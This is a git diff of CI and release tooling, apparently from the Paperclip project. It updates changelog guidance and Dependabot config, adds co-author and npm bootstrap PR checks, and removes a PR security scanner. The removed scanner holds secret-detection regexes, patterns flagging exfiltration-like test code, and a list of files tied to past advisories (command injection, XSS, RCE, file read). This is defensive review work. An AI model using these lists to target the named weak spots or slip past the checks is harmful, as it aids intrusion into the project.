git diff v{last}..{beta-src} -- packages/db/src/schema/
|
||||
git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/
|
||||
git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true
|
||||
```
|
||||
|
||||
If breaking changes are detected, flag them prominently — they must appear in the
|
||||
@@ -121,6 +168,14 @@ Guidelines:
|
||||
- write from the user perspective
|
||||
- keep highlights short and concrete
|
||||
- spell out upgrade actions for breaking changes
|
||||
- **describe deltas, not repeats**: read the previous stable's notes
|
||||
(`releases/v<last-stable>.md`) before writing. When they already
|
||||
introduced a feature, this release's entry covers only what changed —
|
||||
a default flip, a hardening, a completion — phrased against the prior
|
||||
release ("last release introduced X; this release makes it the
|
||||
default"), never re-describing the feature as if it debuted. A theme
|
||||
that headlined the previous release does not headline again for
|
||||
follow-through work; demote it to Improvements.
|
||||
|
||||
### Inline PR and contributor attribution
|
||||
|
||||
@@ -143,6 +198,14 @@ Rules:
|
||||
|
||||
## Step 5 — Write the File
|
||||
|
||||
The **file path** is the beta-keyed one from the Channel Process section
|
||||
(`releases/beta/v{beta-version}.md`), but the **content** is titled with
|
||||
the planned stable version. Resolve it with
|
||||
`./scripts/release.sh stable --date {planned-promotion-date} --print-version`
|
||||
(promotion is normally the beta publish date plus the 3-day soak). If the
|
||||
promotion date slips, the version re-resolves at dispatch — the beta-keyed
|
||||
filename makes that harmless; refresh the title when it happens.
|
||||
|
||||
The opening line of the changelog must be an H1 of the format `# Paperclip {version}`
|
||||
(no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and
|
||||
the `v` on the version.
|
||||
@@ -177,14 +240,18 @@ The `Contributors` section should always be included. List every person who auth
|
||||
commits in the release range, @-mentioning them by their **GitHub username** (not their
|
||||
real name or email). To find GitHub usernames:
|
||||
|
||||
1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
|
||||
1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username.
|
||||
2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`.
|
||||
3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page.
|
||||
|
||||
**Never expose contributor email addresses.** Use `@username` only.
|
||||
|
||||
Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list.
|
||||
Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`)
|
||||
Exclude specific folks from the list — the Contributors section credits
|
||||
community contributors only. The canonical exclusion list (keep it here;
|
||||
the Discord skill defers to it):
|
||||
`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`,
|
||||
`nguyenm7`, `nickyleach`, `tonio-alucema`
|
||||
|
||||
List contributors in alphabetical order by GitHub username (case-insensitive).
|
||||
|
||||
|
||||
+5
-2
@@ -4,9 +4,12 @@
|
||||
{
|
||||
"name": "paperclip",
|
||||
"runtimeExecutable": "/bin/sh",
|
||||
"runtimeArgs": ["-c", "TMPDIR=/tmp pnpm dev"],
|
||||
"runtimeArgs": [
|
||||
"-c",
|
||||
"TMPDIR=/tmp pnpm dev"
|
||||
],
|
||||
"port": 3108,
|
||||
"autoPort": false
|
||||
"autoPort": true
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -4,5 +4,11 @@ SERVE_UI=false
|
||||
BETTER_AUTH_SECRET=paperclip-dev-secret
|
||||
PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me
|
||||
|
||||
# Process-wide protection for expensive full-tree workspace Git scans.
|
||||
# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2
|
||||
# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32
|
||||
# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000
|
||||
# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000
|
||||
|
||||
# Discord webhook for daily merge digest (scripts/discord-daily-digest.sh)
|
||||
# DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
|
||||
+12
-4
@@ -6,13 +6,21 @@ updates:
|
||||
interval: weekly
|
||||
day: monday
|
||||
time: "06:00"
|
||||
open-pull-requests-limit: 10
|
||||
# Each dependency update gets its own pull request, including major
|
||||
# version bumps. A grouped major PR cannot merge when one member has
|
||||
# a blocked upgrade, so it hides the other ready majors. Separate PRs
|
||||
# let each major land on its own. The limit holds the initial burst
|
||||
# of pending majors plus the regular minor and patch updates.
|
||||
open-pull-requests-limit: 20
|
||||
labels:
|
||||
- "dependencies"
|
||||
ignore:
|
||||
# Ignore major version bumps — review those manually
|
||||
- dependency-name: "*"
|
||||
update-types: ["version-update:semver-major"]
|
||||
# @types/node describes the APIs available in the supported Node runtime.
|
||||
# Runtime major upgrades are deliberate compatibility changes, so keep
|
||||
# Dependabot on the current major until the runtime baseline moves too.
|
||||
- dependency-name: "@types/node"
|
||||
update-types:
|
||||
- "version-update:semver-major"
|
||||
|
||||
- package-ecosystem: github-actions
|
||||
directory: "/"
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* check-pr-coauthors.mjs
|
||||
* Surfaces the `Co-Authored-By` trailers a squash merge needs to keep
|
||||
* contributors credited.
|
||||
* Export: checkCoauthors(commits, prAuthor) → { passed, informational }
|
||||
*
|
||||
* This repository squash-merges, so every commit on a branch collapses into
|
||||
* one commit authored by whoever presses the button. When a branch carries
|
||||
* someone else's work — a rebase of a stale contributor PR, a port of an
|
||||
* abandoned branch, a pairing session — their name survives only if the squash
|
||||
* message carries a `Co-Authored-By` trailer for them. Nothing prompts for it,
|
||||
* and the PR page keeps showing the original author either way, so the loss is
|
||||
* invisible at exactly the moment it happens.
|
||||
*
|
||||
* Identity matching is a heuristic and is deliberately biased. A commit GitHub
|
||||
* could not match to an account is credited unless its name or email resolves
|
||||
* to the PR author, which will occasionally credit someone as a co-author of
|
||||
* themselves — their git config carrying a real name where the comparison has
|
||||
* only a login. That error costs a line a human drops while pasting. The
|
||||
* opposite error costs a contributor their attribution silently, which is the
|
||||
* failure this gate exists to prevent, so the bias runs towards over-crediting.
|
||||
*
|
||||
* Informational rather than a failure, on purpose. The squash message does not
|
||||
* exist while the PR is open, so this cannot be verified here and cannot be
|
||||
* fixed here either. Failing the PR would block work on something its author
|
||||
* has no way to satisfy. What this can do is notice that the situation applies
|
||||
* and hand over the exact lines to paste.
|
||||
*/
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
/**
|
||||
* Fetches every commit on a PR across GitHub pagination.
|
||||
*
|
||||
* Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250
|
||||
* commits and silently stops. A branch that large is not the case this gate is
|
||||
* about, and a partial list still surfaces the contributors it did see.
|
||||
*/
|
||||
export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) {
|
||||
const commits = [];
|
||||
|
||||
for (let page = 1; page <= 3; page += 1) {
|
||||
const batch = await ghFetchFn(
|
||||
`/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`,
|
||||
token
|
||||
);
|
||||
commits.push(...batch);
|
||||
|
||||
if (batch.length < 100) break;
|
||||
}
|
||||
|
||||
return commits;
|
||||
}
|
||||
|
||||
/** GitHub's own no-reply address for a login, which is what trailers should use. */
|
||||
function noReplyEmail(login) {
|
||||
return `${login}@users.noreply.github.com`;
|
||||
}
|
||||
|
||||
export function checkCoauthors(commits, prAuthor) {
|
||||
const author = (prAuthor ?? '').toLowerCase();
|
||||
const contributors = new Map();
|
||||
// Emails already accounted for under a GitHub login. One person can appear
|
||||
// both ways in the same branch — some commits matched to their account, some
|
||||
// authored with an email GitHub does not know — and keying on login alone
|
||||
// would then emit two trailers for them.
|
||||
const seenEmails = new Set();
|
||||
|
||||
for (const entry of commits ?? []) {
|
||||
const login = entry?.author?.login ?? null;
|
||||
const gitName = entry?.commit?.author?.name ?? null;
|
||||
const gitEmail = entry?.commit?.author?.email ?? null;
|
||||
|
||||
// The PR author's own commits need no trailer — the squash is already
|
||||
// theirs. Compared case-insensitively because GitHub logins are.
|
||||
if (login && author && login.toLowerCase() === author) continue;
|
||||
|
||||
// Bots author plenty of commits and crediting them is noise.
|
||||
if (login && /\[bot\]$/.test(login)) continue;
|
||||
if (!login && !gitName) continue;
|
||||
|
||||
// A commit GitHub could not match to an account may still be the PR
|
||||
// author's own — their git config carrying an email GitHub does not know.
|
||||
// Without this they are listed as a co-author of themselves.
|
||||
if (!login && author) {
|
||||
const nameMatches = gitName && gitName.toLowerCase() === author;
|
||||
const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`);
|
||||
if (nameMatches || emailMatches) continue;
|
||||
}
|
||||
|
||||
// Prefer the GitHub identity, so the trailer links to a profile. Fall back
|
||||
// to the raw git author for a commit GitHub could not match to an account.
|
||||
const name = login ?? gitName;
|
||||
const email = login ? noReplyEmail(login) : gitEmail;
|
||||
if (!email) continue;
|
||||
|
||||
// Keyed on identity, not on the rendered line. One person whose git config
|
||||
// name changed across commits is still one person, and emitting them twice
|
||||
// would put two trailers for the same contributor into the squash body.
|
||||
const key = (login ?? gitEmail ?? name).toLowerCase();
|
||||
if (contributors.has(key)) continue;
|
||||
const emailKey = (gitEmail ?? '').toLowerCase();
|
||||
if (emailKey && seenEmails.has(emailKey)) continue;
|
||||
if (emailKey) seenEmails.add(emailKey);
|
||||
|
||||
const displayName = gitName && login ? gitName : name;
|
||||
contributors.set(key, {
|
||||
trailer: `Co-Authored-By: ${displayName} <${email}>`,
|
||||
name: displayName,
|
||||
});
|
||||
}
|
||||
|
||||
if (contributors.size === 0) return { passed: true, informational: [] };
|
||||
|
||||
const trailers = [...contributors.values()].map(c => c.trailer).sort();
|
||||
const names = [...new Set([...contributors.values()].map(c => c.name))].sort();
|
||||
const who = names.length === 1 ? names[0] : `${names.length} other contributors`;
|
||||
|
||||
return {
|
||||
passed: true,
|
||||
informational: [
|
||||
`This branch carries commits by ${who}. Squash-merging drops that authorship unless ` +
|
||||
'the squash message carries their trailers, and nothing else will notice if it does not. ' +
|
||||
'Add to the squash body when merging:\n\n' +
|
||||
trailers.map(line => ` ${line}`).join('\n'),
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
if (process.argv[1] === fileURLToPath(import.meta.url)) {
|
||||
const commits = JSON.parse(process.env.PR_COMMITS ?? '[]');
|
||||
const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? '');
|
||||
console.log(JSON.stringify(result));
|
||||
process.exit(0);
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* check-pr-release-bootstrap.mjs
|
||||
* Detects release packages that this PR adds or newly release-enables whose
|
||||
* names do not exist on npm yet, and emits an informational notice: the
|
||||
* `policy` CI job will stay red until a maintainer bootstraps the name with
|
||||
* `pnpm run release:bootstrap-package`. Contributors cannot fix that
|
||||
* themselves, so the notice says so explicitly.
|
||||
*
|
||||
* Never fails (informational only) — outputs { passed: true, informational: string[] }
|
||||
*
|
||||
* Runs under pull_request_target from base-branch context: it only parses
|
||||
* JSON and diff text fetched from the GitHub API and queries the npm registry
|
||||
* with scope-validated names. It never executes PR code.
|
||||
*/
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { ghFetch } from './get-bot-token.mjs';
|
||||
import { resolveBaseRef } from './check-pr-dependencies.mjs';
|
||||
|
||||
const MANIFEST_PATH = 'scripts/release-package-manifest.json';
|
||||
|
||||
// Manifest content comes from the PR head (fork-controlled), so only names
|
||||
// matching our scope are ever looked up on the registry.
|
||||
const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/;
|
||||
|
||||
const MAX_REGISTRY_LOOKUPS = 5;
|
||||
|
||||
function buildContentsPath(repo, filename, ref) {
|
||||
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
|
||||
}
|
||||
|
||||
async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) {
|
||||
try {
|
||||
const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token);
|
||||
const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString());
|
||||
return Array.isArray(parsed) ? parsed : [];
|
||||
} catch {
|
||||
return []; // manifest missing or unreadable on this ref
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchRegistryPackageExists(packageName) {
|
||||
const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, {
|
||||
method: 'HEAD',
|
||||
});
|
||||
if (res.status === 404) return false;
|
||||
if (res.ok) return true;
|
||||
throw new Error(`npm registry returned ${res.status} for ${packageName}`);
|
||||
}
|
||||
|
||||
// Names this PR newly declares a workspace dependency on, per the diff of any
|
||||
// changed package.json. If one of them is an unpublished manifest entry that
|
||||
// is not publishFromCi:true, the release manifest validator rejects the PR.
|
||||
export function addedWorkspaceDependencyNames(files) {
|
||||
const names = new Set();
|
||||
for (const file of files) {
|
||||
if (!file.filename.endsWith('package.json')) continue;
|
||||
if (file.filename.includes('node_modules')) continue;
|
||||
for (const line of (file.patch ?? '').split('\n')) {
|
||||
if (!line.startsWith('+')) continue;
|
||||
const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/);
|
||||
if (match) names.add(match[1]);
|
||||
}
|
||||
}
|
||||
return names;
|
||||
}
|
||||
|
||||
function buildNotice({ name, reason }) {
|
||||
const bootstrap =
|
||||
`a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` +
|
||||
'and configure npm trusted publishing (see `doc/PUBLISHING.md`)';
|
||||
|
||||
if (reason === 'depended') {
|
||||
return (
|
||||
`🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` +
|
||||
`depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` +
|
||||
`entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` +
|
||||
'No contributor action is needed for the bootstrap itself.'
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
`🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` +
|
||||
`red: ${bootstrap}. No contributor action is needed for this.`
|
||||
);
|
||||
}
|
||||
|
||||
export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) {
|
||||
const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps;
|
||||
|
||||
const manifestChanged = files.some(
|
||||
f => f.filename === MANIFEST_PATH && f.status !== 'removed'
|
||||
);
|
||||
// A PR can hit the manifest edge validator without touching the manifest:
|
||||
// adding a workspace:* dependency on an existing unpublished
|
||||
// publishFromCi:false package. Patch parsing is free, so compute the added
|
||||
// dependencies first and keep the zero-API fast path only for PRs that
|
||||
// neither touch the manifest nor add a workspace dependency.
|
||||
const dependedOn = addedWorkspaceDependencyNames(files);
|
||||
if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] };
|
||||
|
||||
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
|
||||
const [baseEntries, headEntries] = await Promise.all([
|
||||
fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef),
|
||||
fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`),
|
||||
]);
|
||||
|
||||
const basePublishFromCiByName = new Map(
|
||||
baseEntries
|
||||
.filter(e => e && typeof e.name === 'string')
|
||||
.map(e => [e.name, e.publishFromCi === true])
|
||||
);
|
||||
|
||||
const candidates = [];
|
||||
for (const entry of headEntries) {
|
||||
if (!entry || typeof entry.name !== 'string') continue;
|
||||
const name = entry.name;
|
||||
if (!SCOPE_RE.test(name)) continue;
|
||||
|
||||
const enabled = entry.publishFromCi === true;
|
||||
const baseEnabled = basePublishFromCiByName.get(name);
|
||||
|
||||
if (enabled && baseEnabled !== true) {
|
||||
// Newly release-enabled (added as true, or flipped false -> true): the
|
||||
// bootstrap gate itself will fail if the name is missing from npm.
|
||||
candidates.push({ name, reason: 'enabled' });
|
||||
} else if (!enabled && dependedOn.has(name)) {
|
||||
// Not release-enabled but this PR makes published packages depend on
|
||||
// it: the manifest edge validator will fail if it stays unpublished.
|
||||
candidates.push({ name, reason: 'depended' });
|
||||
}
|
||||
}
|
||||
|
||||
const informational = [];
|
||||
for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) {
|
||||
let exists;
|
||||
try {
|
||||
exists = await registryPackageExists(candidate.name);
|
||||
} catch {
|
||||
continue; // registry hiccup: stay quiet, the policy job is the enforcer
|
||||
}
|
||||
if (!exists) informational.push(buildNotice(candidate));
|
||||
}
|
||||
|
||||
return { passed: true, informational };
|
||||
}
|
||||
|
||||
if (process.argv[1] === fileURLToPath(import.meta.url)) {
|
||||
console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs');
|
||||
process.exit(1);
|
||||
}
|
||||
@@ -1,393 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* check-pr-security.mjs
|
||||
* Runs 6 security checks against a PR diff. Never posts public comments.
|
||||
* Creates a draft security advisory in the repo if any check fires.
|
||||
*
|
||||
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR
|
||||
* Exit: always 0 — security flags are silent, never block the PR visibly.
|
||||
*/
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { ghFetch } from './get-bot-token.mjs';
|
||||
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
|
||||
import { resolveBaseRef } from './check-pr-dependencies.mjs';
|
||||
|
||||
// ── Pure check functions (exported for testing) ───────────────────────────────
|
||||
|
||||
const SECRET_PATTERNS = [
|
||||
{ name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ },
|
||||
{ name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ },
|
||||
{ name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ },
|
||||
{ name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ },
|
||||
{ name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i },
|
||||
];
|
||||
|
||||
export function scanSecrets(files) {
|
||||
const flags = [];
|
||||
for (const file of files) {
|
||||
if (!file.patch) continue;
|
||||
const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++'));
|
||||
for (const line of added) {
|
||||
for (const { name, re } of SECRET_PATTERNS) {
|
||||
if (re.test(line)) {
|
||||
flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return flags;
|
||||
}
|
||||
|
||||
const CI_BUILD_SCRIPTS = [
|
||||
'scripts/release.sh',
|
||||
'scripts/check-docker-deps-stage.mjs',
|
||||
'scripts/check-release-package-bootstrap.mjs',
|
||||
'scripts/release-package-map.mjs',
|
||||
'scripts/docker-onboard-smoke.sh',
|
||||
];
|
||||
|
||||
export function scanCITampering(files) {
|
||||
return files
|
||||
.filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed')
|
||||
.map(f => ({ check: 'ci-tampering', file: f.filename }));
|
||||
}
|
||||
|
||||
export function scanBuildScripts(files) {
|
||||
return files
|
||||
.filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed')
|
||||
.map(f => ({ check: 'build-script-change', file: f.filename }));
|
||||
}
|
||||
|
||||
export function scanSupplyChain(files) {
|
||||
const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml');
|
||||
if (!lockfile?.patch) return [];
|
||||
|
||||
const added = new Set();
|
||||
const removed = new Set();
|
||||
|
||||
for (const line of lockfile.patch.split('\n')) {
|
||||
const entry = parseLockfilePackageDiffEntry(line);
|
||||
if (!entry) continue;
|
||||
if (entry.sign === '+') added.add(entry.packageName);
|
||||
if (entry.sign === '-') removed.add(entry.packageName);
|
||||
}
|
||||
|
||||
const netNew = [...added].filter(p => !removed.has(p));
|
||||
return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : [];
|
||||
}
|
||||
|
||||
function parseLockfilePackageDiffEntry(line) {
|
||||
const match = line.match(/^([+-])\s*(.+?)\s*$/);
|
||||
if (!match) return null;
|
||||
|
||||
let [, sign, rawEntry] = match;
|
||||
if (!rawEntry.endsWith(':')) return null;
|
||||
|
||||
rawEntry = rawEntry.slice(0, -1).trim();
|
||||
if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) {
|
||||
rawEntry = rawEntry.slice(1, -1);
|
||||
}
|
||||
rawEntry = rawEntry.replace(/\(.*$/, '').trim();
|
||||
|
||||
const versionSep = rawEntry.lastIndexOf('@');
|
||||
if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null;
|
||||
|
||||
const packageName = rawEntry.slice(0, versionSep);
|
||||
if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null;
|
||||
|
||||
return { sign, packageName };
|
||||
}
|
||||
|
||||
const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//;
|
||||
const SUSPICIOUS_PATTERNS = [
|
||||
{ name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ },
|
||||
{ name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ },
|
||||
{ name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ },
|
||||
{ name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// },
|
||||
];
|
||||
|
||||
export function scanTestPatterns(files) {
|
||||
const flags = [];
|
||||
for (const file of files) {
|
||||
if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue;
|
||||
for (const { name, re } of SUSPICIOUS_PATTERNS) {
|
||||
if (re.test(file.patch)) {
|
||||
flags.push({ check: 'suspicious-test', file: file.filename, pattern: name });
|
||||
}
|
||||
}
|
||||
}
|
||||
return flags;
|
||||
}
|
||||
|
||||
const SENSITIVE_PATHS = [
|
||||
// Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes)
|
||||
'packages/adapters/codex-local/',
|
||||
// Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand
|
||||
'server/src/services/workspace-realization.ts',
|
||||
'server/src/routes/execution-workspaces.ts',
|
||||
'server/src/routes/workspace-command-authz.ts',
|
||||
// Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys
|
||||
'server/src/routes/agents.ts',
|
||||
// Advisory 4: Approval decision attribution spoofing via decidedByUserId
|
||||
'server/src/routes/approvals.ts',
|
||||
// Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform)
|
||||
'ui/src/components/MarkdownBody.tsx',
|
||||
// Advisory 7: Unauthenticated access to authenticated-mode endpoints
|
||||
'server/src/routes/authz.ts',
|
||||
// Advisory 8: Unauthenticated RCE via import authorization bypass
|
||||
'server/src/routes/companies.ts',
|
||||
// Advisory 9: Malicious skills able to exfiltrate / destroy user data
|
||||
'server/src/routes/company-skills.ts',
|
||||
// Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath
|
||||
'server/src/services/agent-instructions.ts',
|
||||
];
|
||||
|
||||
export function scanSensitivePaths(files) {
|
||||
return files
|
||||
.filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p)))
|
||||
.map(f => ({
|
||||
check: 'sensitive-path',
|
||||
file: f.filename,
|
||||
advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)),
|
||||
}));
|
||||
}
|
||||
|
||||
function buildContentsPath(repo, filename, ref) {
|
||||
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
|
||||
}
|
||||
|
||||
export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
|
||||
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
|
||||
const stale = [];
|
||||
await Promise.all(SENSITIVE_PATHS.map(async (path) => {
|
||||
try {
|
||||
await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token);
|
||||
} catch (err) {
|
||||
// 404 means the file/directory no longer exists at this path
|
||||
if (String(err.message).includes('404')) stale.push(path);
|
||||
// Other errors (network, rate limit) — re-throw so we don't silently miss them
|
||||
else throw err;
|
||||
}
|
||||
}));
|
||||
return stale;
|
||||
}
|
||||
|
||||
// ── Advisory creation ─────────────────────────────────────────────────────────
|
||||
|
||||
const SEVERITY_MAP = {
|
||||
'supply-chain': 'critical',
|
||||
'sensitive-path': 'critical',
|
||||
'secret-scan': 'high',
|
||||
'ci-tampering': 'high',
|
||||
'suspicious-test': 'high',
|
||||
'build-script-change': 'medium',
|
||||
};
|
||||
|
||||
const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical'];
|
||||
|
||||
function worstSeverity(flags) {
|
||||
return flags.reduce((worst, f) => {
|
||||
const s = SEVERITY_MAP[f.check] ?? 'medium';
|
||||
return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst;
|
||||
}, 'low');
|
||||
}
|
||||
|
||||
export function buildAdvisoryPayload(prNumber, prTitle, flags) {
|
||||
const checkNames = [...new Set(flags.map(f => f.check))].join(', ');
|
||||
return {
|
||||
summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`,
|
||||
description: [
|
||||
`**PR:** #${prNumber} — ${prTitle}`,
|
||||
`**Checks triggered:** ${checkNames}`,
|
||||
'',
|
||||
'**Details:**',
|
||||
...flags.map(f => [
|
||||
`- \`${f.check}\`: ${f.file ?? ''}`,
|
||||
f.pattern ? ` (pattern: ${f.pattern})` : '',
|
||||
f.packages ? ` (packages: ${f.packages.join(', ')})` : '',
|
||||
f.line ? `\n \`${f.line}\`` : '',
|
||||
].join('')),
|
||||
'',
|
||||
'> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.',
|
||||
].join('\n'),
|
||||
severity: worstSeverity(flags),
|
||||
vulnerabilities: [],
|
||||
};
|
||||
}
|
||||
|
||||
export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) {
|
||||
const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber);
|
||||
const payload = buildAdvisoryPayload(prNumber, prTitle, flags);
|
||||
|
||||
if (existing) {
|
||||
const advisoryId = existing.ghsa_id ?? existing.id;
|
||||
if (!advisoryId) {
|
||||
throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`);
|
||||
}
|
||||
|
||||
// PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability").
|
||||
// The field is only valid on POST when creating the draft; updates must omit it.
|
||||
const { vulnerabilities, ...patchPayload } = payload;
|
||||
|
||||
return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, {
|
||||
method: 'PATCH',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(patchPayload),
|
||||
});
|
||||
}
|
||||
|
||||
return fetchImpl(`/repos/${repo}/security-advisories`, token, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
}
|
||||
|
||||
// Cap pagination so a large backlog of unrelated draft advisories cannot stall
|
||||
// the security gate (it runs inside a 5-minute workflow timeout).
|
||||
const MAX_DRAFT_ADVISORY_PAGES = 20;
|
||||
|
||||
export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) {
|
||||
const prMarker = `PR #${prNumber}`;
|
||||
|
||||
for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) {
|
||||
const advisories = await fetchImpl(
|
||||
`/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`,
|
||||
token,
|
||||
);
|
||||
|
||||
if (!Array.isArray(advisories) || advisories.length === 0) return null;
|
||||
|
||||
const existing = advisories.find(advisory =>
|
||||
typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker)
|
||||
);
|
||||
if (existing) return existing;
|
||||
|
||||
if (advisories.length < 100) return null;
|
||||
}
|
||||
|
||||
console.warn(
|
||||
`[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` +
|
||||
'treating as new advisory. A duplicate draft may be created.',
|
||||
);
|
||||
return null;
|
||||
}
|
||||
|
||||
export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) {
|
||||
await fetchImpl(`/repos/${repo}/check-runs`, token, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(hasFlags ? {
|
||||
name: 'security-review',
|
||||
head_sha: headSha,
|
||||
// `completed/neutral` instead of `in_progress` so the check doesn't put
|
||||
// the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the
|
||||
// durable signal for maintainers; there is no completion path that
|
||||
// could ever flip an `in_progress` check-run back to completed on the
|
||||
// same head SHA, so it would hang forever.
|
||||
status: 'completed',
|
||||
conclusion: 'neutral',
|
||||
output: {
|
||||
title: 'Security Review Recommended',
|
||||
summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
|
||||
},
|
||||
} : {
